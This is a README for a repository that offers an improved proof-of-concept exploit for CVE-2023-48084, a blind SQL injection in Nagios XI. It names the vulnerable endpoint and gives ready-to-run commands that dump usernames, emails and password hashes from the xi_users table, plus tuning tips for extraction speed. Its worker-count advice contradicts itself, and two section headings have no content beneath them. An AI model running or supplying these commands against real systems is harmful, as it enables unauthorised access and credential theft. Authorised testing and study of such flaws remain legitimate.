CVE-2023-48084 — updated PoC

Repository: MettHK/CVE-2023-48084-Revised

Updated version of Hamibubu/CVE-2023-48084 with multithreading, binary-search extraction, and CLI flags for database / table / column selection.

Not the original repository. This is a derivative/improved PoC. Credit for the original work goes to Hamibubu.

Disclaimer

For authorized security testing and educational use only. Do not use this against systems you do not own or do not have explicit permission to test. The authors and contributors are not responsible for misuse.

About the vulnerability

CVE-2023-48084: Nagios XI before version 5.11.3 contains a SQL injection vulnerability via the bulk modification tool.

This PoC abuses a time-based blind SQL injection on:

/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SQL)

You need a valid non-admin session cookie (nagiosxi) or an API token.

Changes from the original

Requirements

• Python 3.8+
• requests (required)
• pwntools (optional; nicer progress output)

git clone https://github.com/MettHK/CVE-2023-48084-Revised.git
cd CVE-2023-48084-Revised
pip install -r requirements.txt

Usage

# Interactive (discover schemas → tables → columns)
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -c '<cookie>'
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -a '<api_token>'

# Fast path: database + table + columns known
python3 CVE-2023-48084.py \
  -u https://target.example/nagiosxi \
  -c '<cookie>' \
  -d nagiosxi \
  -t xi_users \
  -C username,email,password \
  -w 15 \
  --delay 1.2

I don't recommend to use more than 2 workers as it may give back incorrect results

Options

Tips

• Wrong characters / noisy results → increase --delay (e.g. 2) or lower -w (e.g. 5).
• Stable, fast target → try higher workers (-w 15–20).
• Prefer -d / -t / -C when you already know the target schema to avoid long discovery.